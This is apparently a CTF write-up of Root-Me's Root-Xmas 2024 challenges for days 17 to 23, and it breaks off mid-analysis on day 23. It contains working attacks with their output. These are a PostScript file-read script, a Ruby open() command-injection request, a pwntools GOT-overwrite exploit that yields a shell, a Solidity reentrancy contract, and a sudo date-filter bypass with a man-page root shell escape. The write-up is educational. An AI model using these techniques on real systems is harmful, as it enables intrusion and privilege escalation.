Overview

Root-Xmas Challenge official design

Root-Xmas Challenge 2024 was a 24-day event created by the Root Me team, running during the month of December 2024.

One challenge was published every day from December 1st to December 24th. The challenges were available at https://xmas.root-me.org. I managed to be solve them all.

Huge thank you to Root Me team for organizing the event, and thanks to the challenge makers Elweth, Mika, Laluka, Nishacid, Elf, Chic0s, Cryptanalyse, Gravis, K.L.M and Voydstack.

This post covers the challenges from December 17th to December 24th.

Day 17 - Ghost in the shell

Category: Misc

Day 17 - Ghost in the shell

This server interprets arbitrary PostScript scripts using the GhostScript interpreter to generate PDF files. The goal is to read a file at /tmp/flag-<RANDOM>.txt.

Browsing over PostScript commands (like here and here), we can find interesting commands to read files and list directories.

This solution uses filenameforall to iterate files matching a pattern (/tmp/flag*), file to open them and readstring to read from them. Then the data read from the files is shown in the page.

Send the following script to receive the flag written inside a PDF file.

%!PS
% Set font and position
/newfont /Helvetica findfont 12 scalefont setfont
100 700 moveto
% For each filename like /tmp/flag*
(/tmp/flag*) {
    % Open the file
    (r) file
    % Read a string from it
    1000 string readstring
    % Write that string in the page
    pop show
} 1000 string filenameforall
showpage

Output PDF file containing the file

Day 18 - Santa’s sweet words

Category: Web

Day 18 - Santa&rsquo;s sweet words

This web challenge is written in the Ruby programming language. The vulnerability is in the /api/message route.

get '/api/message' do
  number = params[:number]

  file_name = "#{number}.txt"

  content = open(file_name, "rb") { |f| f.read }
  content_type 'application/octet-stream'
  attachment file_name
  body content
end

We have control over file_name in the open call. Unfortunately .txt is appened to our input so we can’t really use that to read interesting files on the server.

Reading the Ruby documentation for open, we learn that if file_name starts with a |, a subprocess is created from that path (?!). This means we can execute commands on the server.

import requests
URL = 'https://day18.challenges.xmas.root-me.org'
command = 'cat /flag*'
print(requests.get(f"{URL}/api/message?number=| {command}", verify=False).text)
# RM{Why_d0esn't_Open_Ju5t_Op3n_in_rUbY??}

Day 19 - Rebel Santa Alliance

Category: Cryptography

Day 19 - Rebel Santa Alliance

In this cryptography challenge, the goal is to factor the RSA modulus n = p * q so that we can decrypt the flag.

This time, we are given the values s = (p + q) ^ 2512 (mod n) and a = (p + 2024) ^ q (mod n).

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import bytes_to_long

sk = RSA.generate(2048)
pk = sk.public_key()
s = pow(sk.p + sk.q, 25_12, sk.n)
a = pow(sk.p + 2024,  sk.q, sk.n)
enc = bytes_to_long(PKCS1_OAEP.new(pk).encrypt(open("flag.txt", "rb").read()))
print(f"{n = }")
print(f"{s = }")
print(f"{a = }")
print(f"{enc = }")

For the first equation, notice that s = (p + q) ^ 2512 = p ^ 2512 + q ^ 2512 (mod n), because all the other terms are multiples of p * q.

Then, consider (p + 2024) ^ q, but modulo p and modulo q, the factors of n.

  • (p + 2024) ^ q = 2024 ^ q (mod p), because all the other terms are multiples of p,
  • (p + 2024) ^ q = p + 2024 = p + 2024 ^ q (mod q), according to Fermat’s little theorem (applied twice).

Now let b = p + 2024 ^ q (mod n). We also have b = 2024 ^ q (mod p) and b = p + 2024 ^ q (mod q). The unicity of the solution to the Chinese Remainder Theorem applied to the previous equations implies that a = b (mod n). Therefore, a = p + 2024 ^ q (mod n), a = 2024 ^ q (mod p) and a = p + 2024 (mod q).

The last equation implies there exists an integer k such that a - 2024 = p + k * q.

Using the previous results, we get:

(a - 2024) ^ 2512 - s (mod n)
= (p + k * q) ^ 2512 - p ^ 2512 - q ^ 2512 (mod n)
= p ^ 2512 + (k * q) ^ 2512 - p ^ 2512 - q ^ 2512 (mod n)
= q ^ 2512 * (k ^ 2512 - 1) (mod n)
= q * [q ^ 2511 * (k ^ 2512 - 1)] (mod n)

We found a value that is a multiple of q and not p. We can now compute the greatest common divisor between that value and n to get the value of q.

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import bytes_to_long, long_to_bytes
import math

n = ...
s = ...
a = ...
enc = ...

# Find q using the previous instructions
q = math.gcd(pow(a - 2024, 2512, n) - s, n)
assert q > 1 and n % q == 0
# Derive RSA parameters and decrypt the flag
p = n // q
e = 65537
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = PKCS1_OAEP.new(RSA.construct((n, e, d, q, p))).decrypt(long_to_bytes(enc))
print(m.decode())

Day 20 - Santa’s db

Category: Pwn

Day 20 - Santa&rsquo;s db

In this pwn challenge, we have two choices, which can be used multiple times:

  • show_gift() is used to read gifts from a list gift_db,
  • change_gift() is used to modify the value of a gift in the same database.

Both choices are protected using the function auth() which asks for a login (should be “Santa”) and a PIN code (random based on time and PID).

  • show_gift() can only be used once if we are not authenticated,
  • change_gift() should not be usable at all if unauthenticated, but there is a missing return so we can use it anyway. This was not intended but I will use this vulnerability in the challenge (the intended solution is not too different I think).
// Original value of gift_db
#define DB_SIZE 6
char gift_db[DB_SIZE][0x20] = {
    "Gravis' Pwn Chall",
    "PS12",
    "ARM64 MultiThreading Flag",
    "Kiss from Nish",
    "RTX 5090",
    "1 Win on Valo (for Mika)"
};

// This function is called before show_gift() and change_gift()
void auth() {
    char login[0x10] = {0};
    char pass[0x10] = {0};
    printf("Lemme see those credentials");
    printf("Login : ");
    fgets(login, sizeof(login), stdin);
    printf("Password : ");
    fgets(pass, sizeof(pass), stdin);
    if (strcmp(login, "Santa")==0 && *(int*)pass==santas_pin) {
        printf("Welcome Santa ! :)");
        is_santa=1;
    } else {
        puts(login);
        puts(login_error);
    }  
}

Let’s start with change_gift(). We can specify which offset in gift_db we want to modify, and the new value. The function does not check bounds for the offset, which means we can write anywhere in memory (aligned on 0x20, the size of a gift).

void change_gift() {
    if (!is_santa) {
        printf("You are not Santa, you can't change a gift !!!");
        // Missing return here
    }
    int n_gift;
    printf("Tell me, which gift entry do you want to modify ? ");
    scanf("%d", &n_gift);
    getchar();

    printf("Go for it !");
    // No bounds check!
    fgets(gift_db[n_gift], sizeof(gift_db[0]), stdin);
}

We can use this vulnerability to overwrite the value of Santa’s pin (offset 9 from the start of gift_db), but this is not actually required for this solution.

def change_gift(username=b'Santa\x00', password=b'xxxx', gift=0, gift_value=b'xxxx'):
    r.recvuntil(b'choice : ')
    r.sendline(b'2')
    [...]

# Set santas_pin (8 bytes long) using OOB write in change_gift
change_gift(gift=9, gift_value=b'AAAA\x00\x00\x00\x00')

The auth() function sets the is_santa variable to 1 if we manage to log in correctly and it nevers goes back to 0. This means we can pretend to be Santa for the entire execution of the program after we have logged in once. Again, we didn’t really need to do that.

def show_gift(username=b'Santa\x00', password=b'xxxx', choice=b'C', gift=0, stop_after_login=False):
    r.recvuntil(b'choice : ')
    r.sendline(b'1')
    [...]

show_gift(password=b'AAAA', gift=777)

We know how to write anywhere in memory, but we need some kind of leak to defeat ASLR. At first glance, the show_gift() function seems to correctly check for bounds for both choices ‘R’ and ‘C’.

void show_gift() {
    char choice[0xc] = {0};
    int n_gift;
    [...]
    printf("Oh you're curious which gifts we're considering for Xmas ?");
    printf("Do you want to keep some xmas magic and see a random gift, or choose which one to see ?\nAnswer R for random or C to choose : ");
    fgets(choice, sizeof(choice), stdin);
    if (choice[0]=='R') {
        printf("Random one, nice choice !");
        n_gift = rand()%DB_SIZE;
    }
    else if (choice[0]=='C') {
        printf("Gift number : ");
        scanf("%d", &n_gift);
        getchar();
        if (n_gift<0 || n_gift>=DB_SIZE) {
            printf("This gift doesn't even exist, go to naughty list");
            return;
        } 
    }

    printf("Here's the %u%s gift : %s\n", n_gift, n_gift==1? "st": n_gift==2? "nd": n_gift==3? "rd": "th", gift_db[n_gift]);
}

If we look more carefully though, we notice that we can choose any other value than ‘R’ or ‘C’ and that the n_gift variable is NOT initialized. If we make a choice other than ‘R’ or ‘C’, that uninitialized value of n_gift will be used.

After some debugging, we find that we can control the uninitialized value of n_gift during the call to auth() that preceeds the call to show_gift(). That is because there is an overlap between the memory location of the local variable password of auth() and n_gift of show_gift().

Using a crafted value for the password during authentication, we can use show_gift() to leak values outside of gift_db.

Finally, the binary is compiled with No RELRO. We can redirect code execution by overwriting GOT entries. First we use show_gift() to leak a libc address by reading a value from the GOT, then we use change_gift() to replace the GOT entry for strcmp with the address of system. The next call to strcmp(v1, v2) will call system(v1) instead.

Below is the full exploit script.

#!/usr/bin/env python3

from pwn import *

exe = ELF("main_patched")
libc = ELF("./libs/libc.so.6")
ld = ELF("./libs/ld-linux-x86-64.so.2")

context.binary = exe

def conn():
    if not args.REMOTE:
        r = process([exe.path])
        if args.DBG:
            gdb.attach(r)
    else:
        r = remote("challenges.xmas.root-me.org", 10020)
    return r

def show_gift(username=b'Santa\x00', password=b'xxxx', choice=b'C', gift=0, stop_after_login=False):
    r.recvuntil(b'choice : ')
    r.sendline(b'1')
    r.recvuntil(b'Login : ')
    r.sendline(username)
    r.recvuntil(b'Password : ')
    r.sendline(password)
    if stop_after_login:
        return
    r.recvuntil(b'choose : ')
    r.sendline(choice)
    if choice == b'C':
        r.recvuntil(b'Gift number : ')
        r.sendline(str(gift).encode())

def change_gift(username=b'Santa\x00', password=b'xxxx', gift=0, gift_value=b'xxxx'):
    r.recvuntil(b'choice : ')
    r.sendline(b'2')
    r.recvuntil(b'Login : ')
    r.sendline(username)
    r.recvuntil(b'Password : ')
    r.sendline(password)
    r.recvuntil(b'modify ? ')
    r.sendline(str(gift).encode())
    r.recvuntil(b'Go for it !')
    r.sendline(gift_value)

r = conn()

# Set santas_pin (8 bytes long) using OOB write in change_gift
change_gift(gift=9, gift_value=b'AAAA\x00\x00\x00\x00')

# Login as santa so that is_santa is set forever
show_gift(password=b'AAAA', gift=777)

# By setting the password in a precise way in auth(), we can initialize n_gift of show_gift to an arbitrary value
# By using a choice != 'C' and != 'R', the n_gift value does not change and uses the previous value
# Use this to leak a GOT entry
n_gift = -3
show_gift(password=b'\x00' * 8 + p32(n_gift, sign='signed'), choice=b'X')
r.recvuntil(b'gift : ')
leak = int.from_bytes(r.recvuntil(b'\n')[:-1], byteorder='little')
libc.address = leak - libc.symbols['atoi']
print('Leak:', hex(leak))
print('Libc:', hex(libc.address))

# Replace strcmp with system in GOT using OOB write in change_gift
gift = -4
change_gift(gift=gift, gift_value=p64(libc.symbols['system']))

# Get shell, calling strcmp("/bin/sh", "Santa")
show_gift(username=b'/bin/sh\x00', stop_after_login=True)

r.interactive()

Running it gives a shell on the remote server.

$ python solve.py REMOTE SILENT
Leak: 0x7f1b594c9650
Libc: 0x7f1b59483000
$ id
uid=1001(gravis) gid=1001(gravis) groups=1001(gravis)
$ cat flag.txt
RM{TacosTacosTacosTacos}

Day 21 - Kekalor

Category: Web3

Day 21 - Kekalor

We are given a wallet on a private Ethereum blockchain where a Challenge contract is deployed. The challenge also deploys a KekalorNFT contract which handles the minting and exchange of the fictional KKNFT token. The goal is to obtain more than one token.

The Challenge contract allows us to get up to 11 points using getPoints(string memory name, string memory surname). With 10 points, we can call claimNFT(bytes32 identifier) once to mint and receive one KKNFT.

The Challenge contract will only distribute a total of 11 points, which mean we will never be able to reach enough points to mint multiple KKNFT, even by using multiple accounts.

// SPDX-License-Identifier: MIT
/// Title: Kekalor
/// Author: K.L.M
/// Difficulty: Medium
pragma solidity ^0.8.19;

import './KekalorNFT.sol';

contract Challenge {
    bool public Solved = false;
    address public admin;
    KekalorNFT public kekalornft;

    uint256 public constant POINTS_NEEDED_FOR_TAKEOVER = 10;
    uint256 public constant MAX_POINTS = 11;
    uint256 public pointsclaimed = 0;
    mapping(string => mapping(string => bool)) private NameSurname;
    mapping(bytes32 => uint256) private points;
    mapping(address => bool) private claimed;

    constructor(){
        kekalornft = new KekalorNFT(address(this));
        admin = msg.sender;
    }

    function claimNFT(bytes32 identifier) public {
        require(points[identifier] >= POINTS_NEEDED_FOR_TAKEOVER, "Not enough points to claim NFT");
        require(claimed[msg.sender] == false, "You already claimed your NFT");
        kekalornft.mint(msg.sender);
        points[identifier] = 0;
        claimed[msg.sender] = true;
    }

    function getPoints(string memory name, string memory surname) public {
        require(pointsclaimed < MAX_POINTS, "All points have been claimed");
        bytes32 identifier = keccak256(abi.encodePacked(name, surname));
        require (!NameSurname[name][surname], "You already claimed your points");
        points[identifier] += 1;
        pointsclaimed += 1;
    }

    function solve() public {
        require(kekalornft.balanceOf(msg.sender)>=2, "You need at least 2 NFTs to solve this challenge");
        Solved = true;
    }

    function isSolved() public view returns(bool){
        return Solved;
    }
}

The KekalorNFT contract handles the minting, burning and exchange of KKNFT tokens. Sensitive operations such as minting can only be executed when called from the Challenge contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract KekalorNFT {
    string public name = "KekalorNFT";
    string public symbol = "KKNFT";

    address private kekalor;
    uint256 private _tokenId = 0;

    mapping(uint256 tokenId => address) private _owners;
    mapping(address owner => uint256) private _balances;
    mapping(uint256 tokenId => address) private _tokenApprovals;
    mapping(address owner => mapping(address operator => bool)) private _operatorApprovals;

    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    constructor(address kekalorAddress) {
        kekalor = kekalorAddress;
    }

    modifier onlyKekalor() {
        require(msg.sender == kekalor, "KekalorNFT: caller is not authorized");
        _;
    }

    function balanceOf(address owner) public view returns (uint256) {
        require(owner != address(0), "KekalorNFT: invalid owner address");
        return _balances[owner];
    }

    function ownerOf(uint256 tokenId) public view returns (address) {
        address owner = _owners[tokenId];
        require(owner != address(0), "KekalorNFT: queried owner for nonexistent token");
        return owner;
    }

    function approve(address to, uint256 tokenId) public {
        address owner = ownerOf(tokenId);
        require(msg.sender == owner, "KekalorNFT: approve caller is not the owner");
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    function getApproved(uint256 tokenId) public view returns (address) {
        require(_owners[tokenId] != address(0), "KekalorNFT: queried approvals for nonexistent token");
        return _tokenApprovals[tokenId];
    }

    function setApprovalForAll(address operator, bool approved) public {
        require(operator != address(0), "KekalorNFT: invalid operator");
        _operatorApprovals[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function isApprovedForAll(address owner, address operator) public view returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    function transferFrom(address from, address to, uint256 tokenId) public {
        require(to != address(0), "KekalorNFT: invalid transfer receiver");
        address owner = ownerOf(tokenId);
        require(from == owner, "KekalorNFT: transfer caller is not the owner");
        require(msg.sender == owner || msg.sender == getApproved(tokenId) || isApprovedForAll(owner, msg.sender), "KekalorNFT: caller is not approved to transfer");

        _balances[from] -= 1;
        _balances[to] += 1;
        _owners[tokenId] = to;

        emit Transfer(from, to, tokenId);
    }

    function mint(address to) public onlyKekalor returns (uint256) {
        uint256 currentTokenId = _tokenId;
        _mint(to, currentTokenId);
        return currentTokenId;
    }

    function burn(uint256 tokenId) public onlyKekalor {
        _burn(tokenId);
    }

    function _mint(address to, uint256 tokenId) internal {
        require(to != address(0), "KekalorNFT: invalid mint receiver");
        require(_owners[tokenId] == address(0), "KekalorNFT: token already minted");

        _balances[to] += 1;
        _owners[tokenId] = to;
        _tokenId += 1;

        //verify the receiver is a payable address
        to.call{value: 0}("");

        emit Transfer(address(0), to, tokenId);
    }

    function _burn(uint256 tokenId) internal {
        address owner = ownerOf(tokenId);
        require(msg.sender == owner, "KekalorNFT: caller is not the owner");
        _balances[owner] -= 1;
        delete _owners[tokenId];

        emit Transfer(owner, address(0), tokenId);
    }
}

This pair of smart contracts is vulnerable to a reentrancy attack during the call to Challenge.claimNFT.

Indeed, the Challenge contract first calls kekalornft.mint(msg.sender) before updating its own state (in particular points[identifier] = 0; claimed[msg.sender] = true;). The _mint function makes an external call to the sender; we can use this behaviour to reenter Challenge.claimNFT before the state update that prevents us from minting multiple tokens.

=== Normal control flow ===
Challenge.claimNFT
    KekalorNFT.mint
        KekalorNFT._mint
            sender.call
<-----------------|


=== Control flow with reentrancy ===
Challenge.claimNFT
    KekalorNFT.mint
        KekalorNFT._mint
            sender.call
                Challenge.claimNFT
                    KekalorNFT.mint
                        KekalorNFT._mint
                            sender.call
                                [...] multiple times
                                    sender.call
<-----------------------------------------|

The following contract can be deployed on the chain (for example using the online Remix IDE) to execute this attack.

// SPDX-License-Identifier: MIT
import './challenge.sol';
import './KekalorNFT.sol';

pragma solidity ^0.8.19;

contract Solver {

    Challenge public challenge;
    KekalorNFT public kekalor;

    constructor(address payable _challengeAddress) {
        challenge = Challenge(_challengeAddress);
        kekalor = challenge.kekalornft();
    }

    // This is called by `to.call{value: 0}("")` in KekalorNFT._mint
    fallback() external payable {
        // Reentrancy to claim more NFTs before the Challenge state is updated
        if (kekalor.balanceOf(address(this)) < 5) {
            claim();
        }
    }

    // Call this once to get multiple NFTs
    function attack() public {
        // Claim 10 points to allow claiming a NFT
        for (int i = 0; i < 10; i++) {
            challenge.getPoints("nikost", "nikost");
        }
        // Claim the first NFT (this will claim multiple NFTs with reentrancy)
        claim();
        // Solve the challenge now that we have multiple NFTs
        challenge.solve();
    }

    function claim() private {
        challenge.claimNFT(keccak256(abi.encodePacked("nikost", "nikost")));
    }

}

After running the attack, we are rewarded with the flag: RM{K3ck4k_1sn7_K3ck4k1ng}}.

Day 22 - The date is near

Category: Misc

Day 22 - The date is near

We have SSH access to the server. The goal is read an unknown file in /root/. Using sudo -l, we find that we are allowed to execute a few commands with superuser rights.

$ sudo -l
Matching Defaults entries for sshuser on the-date-is-near:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty, !requiretty

User sshuser may run the following commands on the-date-is-near:
    (ALL) NOPASSWD: /bin/date *, !/bin/date *-f*, !/bin/date *--file*
    (ALL) NOPASSWD: /usr/bin/dev.sh

Executing the file /usr/bin/dev.sh with sudo does not seem to have any side effect and we cannot read its content because of the permissions on that file.

$ sudo /usr/bin/dev.sh
$ ls -la /usr/bin/dev.sh
-rwx------ 1 root root 1286 Dec 22 10:18 /usr/bin/dev.sh

We are also allowed to to run /bin/date with any arguments, but the command cannot contain -f or --file. This is trying to prevent us from reading files as root using the -f option of date (https://gtfobins.github.io/gtfobins/date/#file-read).

This protection is uneffective however because we can pack multiple flags together to bypass the filter, like -R and -f, as shown by the following command. It makes it possible to read the content of /usr/bin/dev.sh, as date will leak all the lines that don’t have a valid date format (basically all the lines).

$ sudo date -Rf /bin/dev.sh
date: invalid date '#!/bin/bash'
Mon, 23 Dec 2024 00:00:00 +0000
date: invalid date '# Check if the --debugmyscript argument is present'
date: invalid date 'if [[ "$1" != "--debugmyscript" ]]; then'
date: invalid date '    exit 0  # Exit silently if the --debugmyscript argument is not provided'
date: invalid date 'fi'
[...]

We need to pass --debugmyscript to make dev.sh do anything, this is why we couldn’t get any information from it before. The script has a few options but the interesting one is -m.

case $opt in'
    l)'
        echo "Listing running processes:"'
        ps aux'
        ;;'
    d)'
        echo "Displaying available disk space:"'
        df -h'
        ;;'
    m)'
        echo "Displaying the manual for printf:"'
        man printf'
        ;;'

When running the man printf command, we can use ![cmd] to run an arbitrary command with root privileges.

sshuser@the-date-is-near:~$ sudo /usr/bin/dev.sh --debugmyscript -m
!/bin/bash
root@the-date-is-near:/home/sshuser# id
uid=0(root) gid=0(root) groups=0(root)
root@the-date-is-near:/home/sshuser# cat /root/flag*
RM{S4NTA_IS_N0T_4DMIN_SYS}

Day 23 - Gift Control Interface

Category: Pwn

Day 23 - Gift Control Interface

This is the hardest challenge of the event. We can submit binary x86_64 assembly code and the server will run it using the Unicorn CPU emulator framework. The goal is to escape the Unicorn sandbox and get remote code execution on the server.

// main.c
int main(int argc, char *argv[]) {
    printf("Ho ho ho! Welcome to the GCI (Gift Control Interface)\n");
    printf("You can write your gift list here and I will execute it for you\n");

    printf("Code length (%d max): ", CODE_SIZE);
    size_t code_len = read_long();
    void *code = malloc(code_len);

    printf("Enter your code: ");
    fread(code, 1, code_len, stdin);

    printf("Executing your code...\n");
    return emu_launch(code, code_len);
}

// emu.c
static bool emu_init(uc_engine **uc, void *code, size_t code_len)
{
    uc_engine *_uc;
    uc_err err;
    if ((err = uc_open(UC_ARCH_X86, UC_MODE_64, &_uc)) != UC_ERR_OK) {
        *uc = NULL;
        return false;
    }
    // Map stack
    uc_mem_map(_uc, STACK_START, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE);
    uc_reg_write(_uc, UC_X86_REG_RSP, &(uint64_t) { STACK_START + STACK_SIZE });
    // Map code
    uc_mem_map(_uc, CODE_START, CODE_SIZE, UC_PROT_ALL);
    uc_mem_write(_uc, CODE_START, code, code_len);
    // Setup MMIO
    uc_mmio_map(_uc, GCI_START, PAGE_SIZE, gci_read, NULL, gci_write, NULL);
    *uc = _uc;
    return true;
}

The emulator implements an extra MMIO (Memory-Mapped I/O) interface called “Gift Control Interface” with custom operations. This interface can be used to create, edit and view a list of gifts.

The code for this interface will run outside the emulation context, and it is where we need to find and exploit bugs.

// gci.h
#ifndef __GCI_H__
#define __GCI_H__

#include <stdlib.h>
#include <sys/types.h>

#include "unicorn/unicorn.h"

// Gift Control Interface

#define GCI_START         0xcafe0000

#define GCI_CTRL_GIFT     0x00
#define GCI_CTRL_GIFT_MAX 0x08
#define GCI_CTRL_GIFT_IDX 0x10
#define GCI_CTRL_CMD      0x18

#define GCI_CMD_INIT      0x1337
#define GCI_CMD_ADD_GIFT  0x1338
#define GCI_CMD_GET_GIFT  0x1339
#define GCI_CMD_EDIT_GIFT 0x1340
#define GCI_CMD_SUBMIT    0x1341

typedef uint32_t gift;

typedef struct gci_context
{
    size_t gift_count;
    size_t gift_max;
    size_t gift_idx;
    gift *gift_list;
    gift gift_to_get;
    gift gift_to_add;
} gci_context;

uint64_t gci_read(
    uc_engine *uc,
    uint64_t offset,
    unsigned size,
    void *user_data
);

void gci_write(
    uc_engine *uc,
    uint64_t offset,
    unsigned size,
    uint64_t value,
    void *user_data
);

void gci_print_list(void);

#endif

// gci.c
#include <gci.h>
#include <unicorn/unicorn.h>

static gci_context gci_ctx;

static void gci_handle_command(uc_engine *uc, uint64_t command)
{
    switch (command) {
    case GCI_CMD_INIT:
        if (gci_ctx.gift_list)
            free(gci_ctx.gift_list);

        gci_ctx.gift_list = malloc(gci_ctx.gift_max * sizeof(gift));
        gci_ctx.gift_count = 0;
        break;
    case GCI_CMD_ADD_GIFT:
        if (gci_ctx.gift_list && gci_ctx.gift_count < gci_ctx.gift_max) {
            gci_ctx.gift_list[gci_ctx.gift_count++] = gci_ctx.gift_to_add;
        }
        break;
    case GCI_CMD_GET_GIFT:
        if (gci_ctx.gift_list && gci_ctx.gift_idx < gci_ctx.gift_max) {
            gci_ctx.gift_to_get = gci_ctx.gift_list[gci_ctx.gift_idx];
        }
        break;
    case GCI_CMD_EDIT_GIFT:
        if (gci_ctx.gift_list && gci_ctx.gift_idx < gci_ctx.gift_max) {
            gci_ctx.gift_list[gci_ctx.gift_idx] = gci_ctx.gift_to_add;
        }
        break;
    case GCI_CMD_SUBMIT:
        if (gci_ctx.gift_list == NULL || gci_ctx.gift_count == 0) 
            break;

        printf("Your gift list has been submitted to santa !\n");

        printf("Gifts:\n");
        for (size_t i = 0; i < gci_ctx.gift_count; i++) {
            printf("#%lu: %#x\n", i, gci_ctx.gift_list[i]);
        }

        uc_emu_stop(uc);
        break;
    default:
        break;
    }
}

uint64_t gci_read(uc_engine *uc, uint64_t offset, unsigned size, void *user_data)
{
    switch (offset) {
    case GCI_CTRL_GIFT:
        return gci_ctx.gift_to_get;
    case GCI_CTRL_GIFT_MAX:
        return gci_ctx.gift_max;
    case GCI_CTRL_GIFT_IDX:
        return gci_ctx.gift_idx;
    case GCI_CTRL_CMD:
    default:
        return 0;
    }
}

void gci_write(uc_engine *uc, uint64_t offset, unsigned size, uint64_t value, void *user_data)
{
    switch (offset) {
    case GCI_CTRL_GIFT:
        gci_ctx.gift_to_add = value;
        break;
    case GCI_CTRL_GIFT_MAX:
        gci_ctx.gift_max = value;
        break;
    case GCI_CTRL_GIFT_IDX:
        gci_ctx.gift_idx = value;
        break;
    case GCI_CTRL_CMD:
        gci_handle_command(uc, value);
        break;
    default:
        break;
    }
}

The first difficulty in this challenge is to figure out how to communicate with the MMIO interface. In principle, we can do that by reading and writing to specific zones in memory that are defined in gci.h. For example:

  • Writing 0x1337 to address 0xcafe0018 will run the command GCI_CMD_INIT which allocates gift_list.
  • Writing a value to address 0xcafe0008 will update gift_max to that value.
  • Reading from address 0xcafe0010 will read the current value of gift_idx.
  • etc.

As an example, the following instructions initialize a 0x10 long gift list, add a new gift with value 0x4141 and submit it to Santa.

// Set gift_max to 0x10
mov %rax, 0xcafe0008
movq [%rax], 0x10
// INIT command
mov %rax, 0xcafe0018
movq [%rax], 0x1337
// Set gift_to_add to 0x4141
mov %rax, 0xcafe0000
movq [%rax], 0x4141
// ADD_GIFT command
mov %rax, 0xcafe0018
movq [%rax], 0x1338
// SUBMIT command
mov %rax, 0xcafe0018
movq [%rax], 0x1341
$ python -c "from pwn import *; code = asm(open('test.s', 'r').read(), arch='amd64'); import sys; sys.stdout.buffer.write(str(len(code)).encode() + b'\n' + code)"  | ./src/bin/gci
Ho ho ho! Welcome to the GCI (Gift Control Interface)
You can write your gift list here and I will execute it for you
Code length (16384 max): Enter your code: Executing your code...
Your gift list has been submitted to santa !
Gifts:
#0: 0x4141

Note that we can only read and write 32-bit values through the MMIO, for some obscure implementation reason I don’t really understand. This means for example that gift_max or gift_idx can never be larger than 2^32.

For this step, it can be useful to try udbserver to debug the CPU emulated by Unicorn. It is very easy to use: simply add the line udbserver(uc, 1234, CODE_START); right before err = uc_emu_start(uc, CODE_START, CODE_START + code_len, 0, 0); in emu_launch. This creates a gdb stub that we can connect to with gdb as if we were debugging a real CPU.

However, it cannot be used to view data outside the emulated CPU context, so this is only useful at the beginning to debug our emulated code.

$ python exploit.py SILENT | ./bin/gci_debug
Ho ho ho! Welcome to the GCI (Gift Control Interface)
You can write your gift list here and I will execute it for you
Code length (16384 max): Enter your code: Executing your code...
Waiting for a GDB connection on "0.0.0.0:1234"..

$ gdb -ex 'target remote localhost:1234'

Debugging with udbserver

Now we know how to communicate with the GCI, we can focus on exploiting a major bug in the implementation.

The bug is that it possible to edit the value of gift_max after the initialization of gift_list. This value is used for bound checks when using ADD_GIFT, GET_GIFT and EDIT_GIFT commands. This can lead to reading and editing data outside the bounds of gift_list. Recall that we are limited to 32 bit values in a 64-bit environment, which mean we will not be able to read / write before or too far away from the memory location of gift_list.

The gift list is allocated using malloc, which means it is allocated on the heap (outside the emulation context), so it might be possible to solve the challenge using heap tricks or by corrupting other data on the heap. Instead of going this way, I used the fact that gift_max is not limited when running CMD_INIT.

If we ask the GCI to initialize a large enough gift_list, so large that it does not fit in the mapped memory heap, malloc will use mmap to allocate a new memory area where gift_list can fit. The heap is usually placed near the main program memory space, while this new memory area will be placed right before loaded libraries such as libc or libunicorn and a few other areas.

Below is the memory layout after creating a gift_list with gift_max set to 0x1000000, with ASLR disabled, using the challenge libraries.

Mapped address spaces:

          Start Addr           End Addr       Size  Perms  objfile
      0x555555554000     0x555555555000     0x1000  r--p   /home/user/gci
      0x555555555000     0x555555556000     0x1000  r-xp   /home/user/gci
      0x555555556000     0x555555557000     0x1000  r--p   /home/user/gci
      0x555555557000     0x555555558000     0x1000  r--p   /home/user/gci
      0x555555558000     0x555555559000     0x1000  rw-p   /home/user/gci
      0x555555559000     0x555555633000    0xda000  rw-p   [heap] <---- original heap
      0x7fffb37ff000     0x7fffb7804000  0x4005000  rw-p   <---- new allocated area for gift_list
      0x7fffb7804000     0x7fffb7805000     0x1000  ---p
      0x7fffb7a00000     0x7fffb7a10000    0x10000  rw-p
      0x7fffb7a10000     0x7fffb7a11000     0x1000  ---p
      0x7fffb7ad8000     0x7ffff7ad7000 0x3ffff000  rwxp   <---- RWX area used by libunicorn JIT
      0x7ffff7ad7000     0x7ffff7ad8000     0x1000  ---p
      0x7ffff7ad8000     0x7ffff7b5c000    0x84000  rw-p
      0x7ffff7b5c000     0x7ffff7b6c000    0x10000  r--p   /usr/lib/x86_64-linux-gnu/libm.so.6
      0x7ffff7b6c000     0x7ffff7beb000    0x7f000  r-xp   /usr/lib/x86_64-linux-gnu/libm.so.6
      0x7ffff7beb000     0x7ffff7c43000    0x58000  r--p   /usr/lib/x86_64-linux-gnu/libm.so.6
      0x7ffff7c43000     0x7ffff7c44000     0x1000  r--p   /usr/lib/x86_64-linux-gnu/libm.so.6
      0x7ffff7c44000     0x7ffff7c45000     0x1000  rw-p   /usr/lib/x86_64-linux-gnu/libm.so.6
      0x7ffff7c45000     0x7ffff7c6d000    0x28000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7c6d000     0x7ffff7df5000   0x188000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7df5000     0x7ffff7e44000    0x4f000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e44000     0x7ffff7e48000     0x4000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e48000     0x7ffff7e4a000     0x2000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
      0x7ffff7e4a000     0x7ffff7e57000     0xd000  rw-p
      0x7ffff7e57000     0x7ffff7e91000    0x3a000  r--p   /usr/lib/libunicorn.so.2
      0x7ffff7e91000     0x7ffff7f68000    0xd7000  r-xp   /usr/lib/libunicorn.so.2
      0x7ffff7f68000     0x7ffff7f9e000    0x36000  r--p   /usr/lib/libunicorn.so.2
      0x7ffff7f9e000     0x7ffff7f9f000     0x1000  ---p   /usr/lib/libunicorn.so.2
